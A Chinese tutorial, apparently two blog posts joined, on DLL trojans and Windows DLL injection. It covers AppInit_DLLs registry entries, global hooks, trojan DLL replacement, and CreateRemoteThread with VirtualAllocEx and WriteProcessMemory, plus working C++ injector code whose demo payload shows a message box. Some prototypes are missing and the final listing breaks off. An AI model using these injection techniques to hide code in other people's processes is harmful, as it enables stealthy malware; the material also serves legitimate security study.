什么是DLL?首先來(lái)簡(jiǎn)單的介紹下
DLL與一般程序沒(méi)什么大差別,只是它不能獨(dú)立運(yùn)行,需要程序調(diào)用。DLL的代碼和普通程序代碼的區(qū)別僅僅是接口和啟動(dòng)模式不同。可以把DLL看成缺少了main入口的EXE程序。DLL帶的各個(gè)功能函數(shù)可以看作一個(gè)程序的幾個(gè)函數(shù)模塊。DLL木馬就是把一個(gè)實(shí)現(xiàn)了木馬功能的代碼,加上一些特殊代碼寫(xiě)成DLL文件,導(dǎo)出相關(guān)的API。外部看來(lái)這只是一個(gè)普通的DLL,但是這個(gè)DLL卻攜帶了完整的木馬功能,這就是DLL木馬的概念。因?yàn)镈LL運(yùn)行時(shí)是直接掛在調(diào)用它的程序的進(jìn)程里的,并不會(huì)另外產(chǎn)生進(jìn)程,所以相對(duì)于傳統(tǒng)EXE木馬來(lái)說(shuō),DLL木馬的隱蔽性更強(qiáng),它很難被查到。
DLL木馬的實(shí)現(xiàn)原理是編程者在DLL中包含木馬程序代碼,隨后在目標(biāo)主機(jī)中選擇特定目標(biāo)進(jìn)程,以某種方式強(qiáng)行指定該進(jìn)程調(diào)用包含木馬程序的DLL,或者以某種方式將DLL強(qiáng)行注入到目標(biāo)進(jìn)程的地址空間中。最終達(dá)到侵襲目標(biāo)系統(tǒng)的目的。正是DLL自身的特點(diǎn)決定了以這種形式加載木馬不僅可行,而且具有很好的隱藏性:一旦DLL被映射到目標(biāo)進(jìn)程的地址空間中,它就能夠共享目標(biāo)進(jìn)程的資源,并能訪問(wèn)相應(yīng)的系統(tǒng)資源;然后是DLL程序沒(méi)有獨(dú)立的進(jìn)程地址空間,從而在目標(biāo)主機(jī)中運(yùn)行的時(shí)候很好地隱藏了自己。
下面來(lái)看看具體的注入方法,有多種方法可以實(shí)現(xiàn)DLL的注入。常用的方法有以下幾種:
(1)使用注冊(cè)表來(lái)注入DLL
整個(gè)系統(tǒng)的配置都是在注冊(cè)表中維護(hù)的,可以通過(guò)調(diào)整它的設(shè)置來(lái)改變系統(tǒng)的行為特性。該方法主要依賴下面的關(guān)鍵字:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
下圖顯示了使用Registry Editor(注冊(cè)表編輯器)時(shí)該關(guān)鍵字中的各個(gè)項(xiàng)目的形式。該關(guān)鍵字的值包含一個(gè)DLL文件名或者一組DLL文件名(用空格或逗號(hào)隔開(kāi))。由于空格用來(lái)將文件名隔開(kāi),因此必須避免使用包含空格的文件名。列出的第一個(gè)DLL文件名可以包含一個(gè)路徑,但是包含路徑的其它DLL均被忽略。由于這個(gè)原因,最好將DLL放入Windows的系統(tǒng)目錄中,這樣就不必設(shè)定路徑。下圖是把該鍵值設(shè)置成為單個(gè)DLL木馬路徑名C:\backdoordll.dll。
使用注冊(cè)表注入DLL
當(dāng)重新啟動(dòng)計(jì)算機(jī)及Windows進(jìn)行初始化時(shí),系統(tǒng)將保存這個(gè)關(guān)鍵字的值。然后,當(dāng)User32.dll庫(kù)被映射到進(jìn)程中時(shí),它將接收到一個(gè)DLL_PROCESS_ATTACH通知。當(dāng)這個(gè)通知被處理時(shí),User32.dll便檢索保存的這個(gè)關(guān)鍵字中的值,并且為字符串中指定的每個(gè)DLL調(diào)用LoadLibrary函數(shù)。當(dāng)每個(gè)庫(kù)被加載時(shí),便調(diào)用與該庫(kù)相關(guān)的DllMain函數(shù),其fdwReason的值是DLL_PROCESS_ATTACH,這樣,每個(gè)庫(kù)就能夠?qū)ψ约哼M(jìn)行初始化。由于注入的DLL在進(jìn)程中早早地就進(jìn)行了加載,因此在調(diào)用函數(shù)時(shí)應(yīng)該格外小心。調(diào)用kernel32.dll中的函數(shù)時(shí)出現(xiàn)什么問(wèn)題,不過(guò)調(diào)用其它DLL中的函數(shù)時(shí)就可能產(chǎn)生一些問(wèn)題。User32.dll并不檢查每個(gè)庫(kù)的初始化是否取得成功。
(2)使用Windows掛鉤來(lái)注入DLL。
應(yīng)用程序會(huì)接收計(jì)算機(jī)中與應(yīng)用程序相關(guān)的許多事件的消息。例如,在應(yīng)用程序的某個(gè)窗口處于活動(dòng)狀態(tài)時(shí)或當(dāng)輸入一個(gè)按鍵或單擊鼠標(biāo)時(shí),它都可以接收事件信息。
微軟公司定義了一個(gè)能夠鉤住另一個(gè)進(jìn)程中的窗口消息的函數(shù)SetWindowHookEx,該函數(shù)能夠有效地將DLL加載到另一個(gè)進(jìn)程的地址空間中。
假定DLL試圖注入的應(yīng)用程序稱為進(jìn)程B。一個(gè)稱為進(jìn)程A的獨(dú)立程序可以調(diào)用SetWindowsHookEx函數(shù)。其原型如下:
上面列出了4個(gè)參數(shù)。第一個(gè)參數(shù)是出發(fā)鉤子的事件消息的類型,例如安裝了監(jiān)視擊鍵消息的WH_KEYBOARD;第二個(gè)參數(shù)標(biāo)識(shí)了窗口要處理指定消息時(shí)系統(tǒng)應(yīng)該調(diào)用的地址;第三個(gè)參數(shù)包含了該函數(shù)的DLL的虛存地址;最后一個(gè)參數(shù)是要鉤住的線程。若該參數(shù)為0,則系統(tǒng)鉤住當(dāng)前Windows桌面中的所有線程。
若進(jìn)程A調(diào)用了SetWindowsHookEx(WH_KEYBOARD, myFunc,myDll, 0),當(dāng)進(jìn)程B要接收一個(gè)鍵盤(pán)事件時(shí),進(jìn)程B將加載函數(shù)myFunc,并且調(diào)用由參數(shù)myDll所指定的DLL。與注入DLL的注冊(cè)表方法不同,這個(gè)方法允許在另一個(gè)進(jìn)程的地址空間中不再需要DLL時(shí)刪除該DLL的映像,方法是調(diào)用下面的函數(shù):
BOOL UnhookWindowsHookEx(HHOOK hhook)當(dāng)一個(gè)線程調(diào)用UnhookWindowdHookEx函數(shù)時(shí),系統(tǒng)將遍歷它必須將DLL注入到的各個(gè)進(jìn)程的內(nèi)部列表,并且對(duì)DLL的自動(dòng)跟蹤計(jì)數(shù)進(jìn)行遞減。當(dāng)自動(dòng)跟蹤計(jì)數(shù)遞減為0時(shí),DLL就自動(dòng)從進(jìn)程的地址空間中卸載。應(yīng)該記得,就在系統(tǒng)調(diào)用GetMsgProc函數(shù)之前,它對(duì)DLL的自動(dòng)跟蹤計(jì)數(shù)進(jìn)行了遞增。這可以防止產(chǎn)生內(nèi)存訪問(wèn)違規(guī)。如果該自動(dòng)跟蹤計(jì)數(shù)沒(méi)有遞增,那么當(dāng)進(jìn)程B的線程試圖執(zhí)行GetMsgProc函數(shù)中的代碼時(shí)系統(tǒng)中運(yùn)行的另一個(gè)線程就可以調(diào)用UnhookWindowsHookEx函數(shù)。
(3)使用特洛伊DLL來(lái)注入DLL。
注入DLL的另一種方法是取代進(jìn)程將要加載的DLL。例如,如果一個(gè)進(jìn)程將要加載Xyz.dll,就可以創(chuàng)建相同文件名的DLL。也就是說(shuō)把backdoordll.dll名改成Xyz.dll。當(dāng)然,必須將原來(lái)的Xyz.dll改為別的什么名字。
在修改后的Xyz.dll中,輸出的全部符號(hào)必須與原始的Xyz.dll輸出的符號(hào)相同。使用函數(shù)轉(zhuǎn)發(fā)器,很容易做到這一點(diǎn)。雖然函數(shù)轉(zhuǎn)發(fā)器能夠非常容易地掛接某些函數(shù),但是應(yīng)該避免使用這種方法,因?yàn)樗痪邆浒姹旧?jí)能力。例如,如果取代了一個(gè)系統(tǒng)DLL,而Microsoft在將來(lái)增加了一些新函數(shù),那么這DLL將不具備它們的函數(shù)轉(zhuǎn)發(fā)器。引用這些新函數(shù)的應(yīng)用程序?qū)o(wú)法加載和執(zhí)行。
如果只想在單個(gè)應(yīng)用程序中使用這種方法,那么可以為DLL木馬賦予一個(gè)獨(dú)一無(wú)二的名字,并改變應(yīng)用程序的.exe模塊的輸入節(jié)。因?yàn)檩斎牍?jié)中只包含模塊需要的DLL的名字。這種方法相當(dāng)不錯(cuò),但是必須要非常熟悉.exe和DLL文件的格式。
(4)使用遠(yuǎn)程線程來(lái)注入DLL。
使用遠(yuǎn)程線程注入DLL,這種方法具有更大的靈活性。
這種DLL注入方法基本上要求目標(biāo)進(jìn)程中的線程調(diào)用LoadLibrary函數(shù)來(lái)加載必要的DLL。由于除了自己進(jìn)程中的線程外,無(wú)法方便地控制其它進(jìn)程中的線程,因此這種解決方案要求在目標(biāo)進(jìn)程中創(chuàng)建一個(gè)新線程。由于是自己創(chuàng)建這個(gè)線程因此能夠控制它執(zhí)行什么代碼。Windows提供的一個(gè)稱為CreateRemoteThread的函數(shù),該函數(shù)能夠在另一個(gè)進(jìn)程中創(chuàng)建線程:
CreateRemoteThread與CreateThread很相似,差別在于它增加了一個(gè)參數(shù)hProcess,該參數(shù)指明擁有新創(chuàng)建線程的進(jìn)程。第二個(gè)參數(shù)psa指向線程的安全描述結(jié)構(gòu)體的指針,一般設(shè)置為NULL,表示使用默認(rèn)的安全級(jí)別。第三個(gè)參數(shù)dwStackSize表示線程堆棧大小,一般設(shè)置為0,表示使用默認(rèn)的大小,一般為1M。第四個(gè)參數(shù)pfnStartAddr指明線程函數(shù)的內(nèi)存地址。當(dāng)然,該內(nèi)存地址與遠(yuǎn)程進(jìn)程是相關(guān)的。第五個(gè)參數(shù)pvParam是所建遠(yuǎn)程線程的參數(shù)。第六個(gè)參數(shù)fdwCreate是線程的創(chuàng)建方式如果設(shè)為CREATE_SUSPENDED,表示線程以掛起方式創(chuàng)建。最后一個(gè)參數(shù)是所建線程的ID。
通過(guò)以上的參數(shù)分析可知,使用該方法來(lái)注入DLL的話,本質(zhì)上,必須進(jìn)行的操作是執(zhí)行類似下面的一行代碼:
其中hProcessRemote是被插進(jìn)程的句柄。backdoordll.dll是等待掛接的DLL木馬。當(dāng)然LoadLibraryA是用來(lái)加載backdoordll.dll。
當(dāng)在遠(yuǎn)程進(jìn)程中創(chuàng)建新線程時(shí),該線程將立即調(diào)用LoadLibraryA(或者LoadLibraryW)函數(shù),并將DLL的路徑名的地址傳遞給它。這時(shí)需要考慮另外兩個(gè)問(wèn)題:第一個(gè)問(wèn)題是如果直接將LoadLibraryA作為參數(shù)傳遞給CreateRemoteThread函數(shù),此時(shí)的LoadLibraryA是調(diào)用CreateRemoteThread這個(gè)進(jìn)程里的LoadLibraryA地址,而并非是遠(yuǎn)程進(jìn)程中的LoadLibraryA地址,所以直接調(diào)用的話必定是失敗的,有時(shí)還會(huì)出現(xiàn)亂碼。
必須通過(guò)調(diào)用GetProcAddress函數(shù),獲取LoadLibraryA的準(zhǔn)確內(nèi)存位置。那么如何通過(guò)GetProcAddress函數(shù)來(lái)獲取LoadLibraryA的準(zhǔn)確內(nèi)存位置呢?其實(shí)LoadLibraryA是在模塊Kernel32.dll中的,而每個(gè)進(jìn)程掛載Kernel32.dll的內(nèi)存位置也是不變的,所以可以通過(guò)Kernel32.dll來(lái)獲取LoadLibrary的地址。調(diào)用方式如下:
第二個(gè)問(wèn)題與DLL路徑名字符串有關(guān)。字符串“C:\MyLib.DLL”是在調(diào)用進(jìn)程的地址空間中。該字符串的地址已經(jīng)被賦予新創(chuàng)建的遠(yuǎn)程線程,該線程將它傳遞給LoadLibraryA。但是,當(dāng)LoadLibraryA取消對(duì)內(nèi)存地址的引用時(shí),DLL路徑名字符串將不再存在,遠(yuǎn)程進(jìn)程的線程就可能引發(fā)訪問(wèn)違規(guī),向用戶顯示一個(gè)未處理的異常條件消息框,并且遠(yuǎn)程進(jìn)程終止運(yùn)行。
為了解決這個(gè)問(wèn)題,必須將DLL的路徑名字符串放入遠(yuǎn)程進(jìn)程的地址空間中。然后,當(dāng)CreateRemoteThread函數(shù)被調(diào)用時(shí),必須將放置該字符串的地址(相對(duì)于遠(yuǎn)程進(jìn)程的地址)傳遞給它。具體實(shí)現(xiàn)過(guò)程中可以調(diào)用VirtualAllocEx和WriteProcessMemory函數(shù)來(lái)完成。概括起來(lái)說(shuō)就4個(gè)步驟:
(1) 使用VirtualAllocEx函數(shù),分配遠(yuǎn)程進(jìn)程的地址空間中的內(nèi)存。
(2) 使用WriteProcessMemory函數(shù),將DLL的路徑名拷貝到第一個(gè)步驟中已經(jīng)分配的內(nèi)存中。
(3) 使用GetProcAddress函數(shù),獲取LoadLibraryA或LoadLibraryW函數(shù)的實(shí)地址(在Kernel32.dll中)。
(4) 使用CreateRemoteThread函數(shù),在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程,它調(diào)用正確的LoadLibrary函數(shù),為它傳遞第一個(gè)步驟中分配的內(nèi)存的地址。
今天要講的就是上面這些,感興趣的朋友加個(gè)關(guān)注留言討論,有什么想看的話題歡迎評(píng)論,一起進(jìn)步
DLL注入技術(shù),一般來(lái)講是向一個(gè)正在運(yùn)行的進(jìn)程插入/注入代碼的過(guò)程。我們注入的代碼以動(dòng)態(tài)鏈接庫(kù)(DLL)的形式存在。DLL文件在運(yùn)行時(shí)將按需加載(類似于UNIX系統(tǒng)中的共享庫(kù)(share object,擴(kuò)展名為.so))。然而實(shí)際上,我們可以以其他的多種形式注入代碼(正如惡意軟件中所常見(jiàn)的,任意PE文件,shellcode代碼/程序集等)。
在Windows大部分應(yīng)用都是基于消息機(jī)制,他們都擁有一個(gè)消息過(guò)程函數(shù),根據(jù)不同消息完成不同功能,windows通過(guò)鉤子機(jī)制來(lái)截獲和監(jiān)視系統(tǒng)中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個(gè)線程,而全局鉤子一般通過(guò)dll文件實(shí)現(xiàn)相應(yīng)的鉤子函數(shù)。
SetWindowsHookEx
HHOOK WINAPI SetWindowsHookEx(
__in int idHook, \\鉤子類型
__in HOOKPROC lpfn, \\回調(diào)函數(shù)地址
__in HINSTANCE hMod, \\實(shí)例句柄
__in DWORD dwThreadId); \\線程ID
通過(guò)設(shè)定鉤子類型與回調(diào)函數(shù)的地址,將定義的鉤子函數(shù)安裝到掛鉤鏈中。如果函數(shù)成功返回鉤子的句柄,如果函數(shù)失敗,則返回NULL
由上述介紹可以知道如果創(chuàng)建的是全局鉤子,那么鉤子函數(shù)必須在一個(gè)DLL中。這是因?yàn)檫M(jìn)程的地址空間是獨(dú)立的,發(fā)生對(duì)應(yīng)事件的進(jìn)程不能調(diào)用其他進(jìn)程地址空間的鉤子函數(shù)。如果鉤子函數(shù)的實(shí)現(xiàn)代碼在DLL中,則在對(duì)應(yīng)事件發(fā)生時(shí),系統(tǒng)會(huì)把這個(gè)DLL加較到發(fā)生事體的進(jìn)程地址空間中,使它能夠調(diào)用鉤子函數(shù)進(jìn)行處理。
在操作系統(tǒng)中安裝全局鉤子后,只要進(jìn)程接收到可以發(fā)出鉤子的消息,全局鉤子的DLL文件就會(huì)由操作系統(tǒng)自動(dòng)或強(qiáng)行地加載到該進(jìn)程中。因此,設(shè)置全局鉤子可以達(dá)到DLL注入的目的。創(chuàng)建一個(gè)全局鉤子后,在對(duì)應(yīng)事件發(fā)生的時(shí)候,系統(tǒng)就會(huì)把 DLL加載到發(fā)生事件的進(jìn)程中,這樣,便實(shí)現(xiàn)了DLL注入。
為了能夠讓DLL注入到所有的進(jìn)程中,程序設(shè)置WH_GETMESSAGE消息的全局鉤子。因?yàn)?/span>WH_GETMESSAGE類型的鉤子會(huì)監(jiān)視消息隊(duì)列,并且 Windows系統(tǒng)是基于消息驅(qū)動(dòng)的,所以所有進(jìn)程都會(huì)有自己的一個(gè)消息隊(duì)列,都會(huì)加載 WH_GETMESSAGE類型的全局鉤子DLL。
那么設(shè)置WH_GETMESSAGE就可以通過(guò)以下代碼實(shí)現(xiàn),記得加上判斷是否設(shè)置成功
// 設(shè)置全局鉤子
BOOL SetHook()
{
g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
if (g_Hook == NULL)
{
return FALSE;
}
return TRUE;
}
這里第二個(gè)參數(shù)是回調(diào)函數(shù),那么我們還需要寫(xiě)一個(gè)回調(diào)函數(shù)的實(shí)現(xiàn),這里就需要用到CallNextHookEx這個(gè)api,主要是第一個(gè)參數(shù),這里傳入鉤子的句柄的話,就會(huì)把當(dāng)前鉤子傳遞給下一個(gè)鉤子,若參數(shù)傳入0則對(duì)鉤子進(jìn)行攔截
// 鉤子回調(diào)函數(shù)
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
return ::CallNextHookEx(g_Hook, code, wParam, lParam);
}
既然我們寫(xiě)入了鉤子,如果不使用的情況下就需要將鉤子卸載掉,那么這里使用到UnhookWindowsHookEx這個(gè)api來(lái)卸載鉤子
// 卸載鉤子
BOOL UnsetHook()
{
if (g_Hook)
{
::UnhookWindowsHookEx(g_Hook);
}
}
既然我們使用到了SetWindowsHookEx這個(gè)api,就需要進(jìn)行進(jìn)程間的通信,進(jìn)程通信的方法有很多,比如自定義消息、管道、dll共享節(jié)、共享內(nèi)存等等,這里就用共享內(nèi)存來(lái)實(shí)現(xiàn)進(jìn)程通信
// 共享內(nèi)存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS"
首先新建一個(gè)dll
在pch.h頭文件里面聲明這幾個(gè)我們定義的函數(shù)都是裸函數(shù),由我們自己平衡堆棧
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
然后在pch.cpp里面寫(xiě)入三個(gè)函數(shù)并創(chuàng)建共享內(nèi)存
// pch.cpp: 與預(yù)編譯標(biāo)頭對(duì)應(yīng)的源文件
#include "pch.h"
#include <windows.h>
#include <stdio.h>
extern HMODULE g_hDllModule;
// 共享內(nèi)存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
//鉤子回調(diào)函數(shù)
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 設(shè)置鉤子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (NULL == g_hHook) {
return FALSE;
}
return TRUE;
}
// 卸載鉤子
BOOL UnsetHook() {
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}
然后再在dllmain.cpp設(shè)置DLL_PROCESS_ATTACH,然后編譯生成Golbal.dll
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "pch.h"
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
再創(chuàng)建一個(gè)控制臺(tái)項(xiàng)目
使用LoadLibrabryW加載dll,生成GolbalInjectDll.cpp文件
// GolbalInjectDll.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開(kāi)始并結(jié)束。
//
#include <iostream>
#include <Windows.h>
int main()
{
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;
do
{
hDll = ::LoadLibraryW(TEXT("F:\\C++\\GolbalDll\\Debug\\GolbalDll.dll"));
if (NULL == hDll)
{
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (NULL == SetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet = SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.\n");
}
else
{
printf("SetGlobalHook ERROR.\n");
}
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (NULL == UnsetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.\n");
} while (FALSE);
system("pause");
return 0;
}
執(zhí)行即可注入GolbalDll.dll
遠(yuǎn)程線程函數(shù)顧名思義,指一個(gè)進(jìn)程在另一個(gè)進(jìn)程中創(chuàng)建線程。
CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
lpStartAddress:A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc).
lpParameter:A pointer to a variable to be passed to the thread function.
lpStartAddress即線程函數(shù),使用LoadLibrary的地址作為線程函數(shù)地址;lpParameter為線程函數(shù)參數(shù),使用dll路徑作為參數(shù)
VirtualAllocEx
是在指定進(jìn)程的虛擬空間保留或提交內(nèi)存區(qū)域,除非指定MEM_RESET參數(shù),否則將該內(nèi)存區(qū)域置0。
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
hProcess:申請(qǐng)內(nèi)存所在的進(jìn)程句柄
lpAddress:保留頁(yè)面的內(nèi)存地址;一般用NULL自動(dòng)分配 。
dwSize:欲分配的內(nèi)存大小,字節(jié)單位;注意實(shí)際分 配的內(nèi)存大小是頁(yè)內(nèi)存大小的整數(shù)倍。
flAllocationType
可取下列值:
MEM_COMMIT:為特定的頁(yè)面區(qū)域分配內(nèi)存中或磁盤(pán)的頁(yè)面文件中的物理存儲(chǔ)
MEM_PHYSICAL :分配物理內(nèi)存(僅用于地址窗口擴(kuò)展內(nèi)存)
MEM_RESERVE:保留進(jìn)程的虛擬地址空間,而不分配任何物理存儲(chǔ)。保留頁(yè)面可通過(guò)繼續(xù)調(diào)用VirtualAlloc()而被占用
MEM_RESET :指明在內(nèi)存中由參數(shù)lpAddress和dwSize指定的數(shù)據(jù)無(wú)效
MEM_TOP_DOWN:在盡可能高的地址上分配內(nèi)存(Windows 98忽略此標(biāo)志)
MEM_WRITE_WATCH:必須與MEM_RESERVE一起指定,使系統(tǒng)跟蹤那些被寫(xiě)入分配區(qū)域的頁(yè)面(僅針對(duì)Windows 98)
flProtect
可取下列值:
PAGE_READONLY: 該區(qū)域?yàn)橹蛔x。如果應(yīng)用程序試圖訪問(wèn)區(qū)域中的頁(yè)的時(shí)候,將會(huì)被拒絕訪
PAGE_READWRITE 區(qū)域可被應(yīng)用程序讀寫(xiě)
PAGE_EXECUTE: 區(qū)域包含可被系統(tǒng)執(zhí)行的代碼。試圖讀寫(xiě)該區(qū)域的操作將被拒絕。
PAGE_EXECUTE_READ :區(qū)域包含可執(zhí)行代碼,應(yīng)用程序可以讀該區(qū)域。
PAGE_EXECUTE_READWRITE: 區(qū)域包含可執(zhí)行代碼,應(yīng)用程序可以讀寫(xiě)該區(qū)域。
PAGE_GUARD: 區(qū)域第一次被訪問(wèn)時(shí)進(jìn)入一個(gè)STATUS_GUARD_PAGE異常,這個(gè)標(biāo)志要和其他保護(hù)標(biāo)志合并使用,表明區(qū)域被第一次訪問(wèn)的權(quán)限
PAGE_NOACCESS: 任何訪問(wèn)該區(qū)域的操作將被拒絕
PAGE_NOCACHE: RAM中的頁(yè)映射到該區(qū)域時(shí)將不會(huì)被微處理器緩存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE標(biāo)志可以和其他標(biāo)志合并使用以進(jìn)一步指定頁(yè)的特征。PAGE_GUARD標(biāo)志指定了一個(gè)防護(hù)頁(yè)(guard page),即當(dāng)一個(gè)頁(yè)被提交時(shí)會(huì)因第一次被訪問(wèn)而產(chǎn)生一個(gè)one-shot異常,接著取得指定的訪問(wèn)權(quán)限。PAGE_NOCACHE防止當(dāng)它映射到虛擬頁(yè)的時(shí)候被微處理器緩存。這個(gè)標(biāo)志方便設(shè)備驅(qū)動(dòng)使用直接內(nèi)存訪問(wèn)方式(DMA)來(lái)共享內(nèi)存塊。
WriteProcessMemory
此函數(shù)能寫(xiě)入某一進(jìn)程的內(nèi)存區(qū)域(直接寫(xiě)入會(huì)出Access Violation錯(cuò)誤),故需此函數(shù)入口區(qū)必須可以訪問(wèn),否則操作將失敗。
BOOL WriteProcessMemory(
HANDLE hProcess, //進(jìn)程句柄
LPVOID lpBaseAddress, //寫(xiě)入的內(nèi)存首地址
LPCVOID lpBuffer, //要寫(xiě)數(shù)據(jù)的指針
SIZE_T nSize, //x
SIZE_T *lpNumberOfBytesWritten
);
使用CreateRemoteThread這個(gè)API,首先使用CreateToolhelp32Snapshot拍攝快照獲取pid,然后使用Openprocess打開(kāi)進(jìn)程,使用VirtualAllocEx
遠(yuǎn)程申請(qǐng)空間,使用WriteProcessMemory寫(xiě)入數(shù)據(jù),再用GetProcAddress獲取LoadLibraryW的地址(由于Windows引入了基址隨機(jī)化ASLR安全機(jī)制,所以導(dǎo)致每次開(kāi)機(jī)啟動(dòng)時(shí)系統(tǒng)DLL加載基址都不一樣,有些系統(tǒng)dll(kernel,ntdll)的加載地址,允許每次啟動(dòng)基址可以改變,但是啟動(dòng)之后必須固定,也就是說(shuō)兩個(gè)不同進(jìn)程在相互的虛擬內(nèi)存中,這樣的系統(tǒng)dll地址總是一樣的),在注入進(jìn)程中創(chuàng)建線程(CreateRemoteThread)
首先生成一個(gè)dll文件,實(shí)現(xiàn)簡(jiǎn)單的彈窗即可
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
我們要想進(jìn)行遠(yuǎn)程線程注入,那么就需要得到進(jìn)程的pid,這里使用到的是CreateToolhelp32Snapshot這個(gè)api拍攝快照來(lái)進(jìn)行獲取,注意我這里定義了#include "tchar.h",所有函數(shù)都是使用的寬字符
// 通過(guò)進(jìn)程快照獲取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("獲取進(jìn)程快照失敗,請(qǐng)重試! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
首先使用OpenProcess打開(kāi)進(jìn)程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
然后使用VirtualAllocEx遠(yuǎn)程申請(qǐng)空間
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
然后寫(xiě)入內(nèi)存,使用WriteProcessMemory
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
然后創(chuàng)建線程并等待線程函數(shù)結(jié)束,這里WaitForSingleObject的第二個(gè)參數(shù)要設(shè)置為-1才能夠一直等待
//在另一個(gè)進(jìn)程中創(chuàng)建線程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
//等待線程函數(shù)結(jié)束,獲得退出碼
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
綜上完整代碼如下
// RemoteThreadInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開(kāi)始并結(jié)束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include "tchar.h"
char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
//通過(guò)進(jìn)程快照獲取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("獲取進(jìn)程快照失敗,請(qǐng)重試! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
//打開(kāi)一個(gè)進(jìn)程并為其創(chuàng)建一個(gè)線程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
{
//打開(kāi)進(jìn)程
HANDLE hprocess;
HANDLE hThread;
DWORD _Size = 0;
BOOL Write = 0;
LPVOID pAllocMemory = NULL;
DWORD DllAddr = 0;
FARPROC pThread;
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
//Size = sizeof(string_inject);
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
//遠(yuǎn)程申請(qǐng)空間
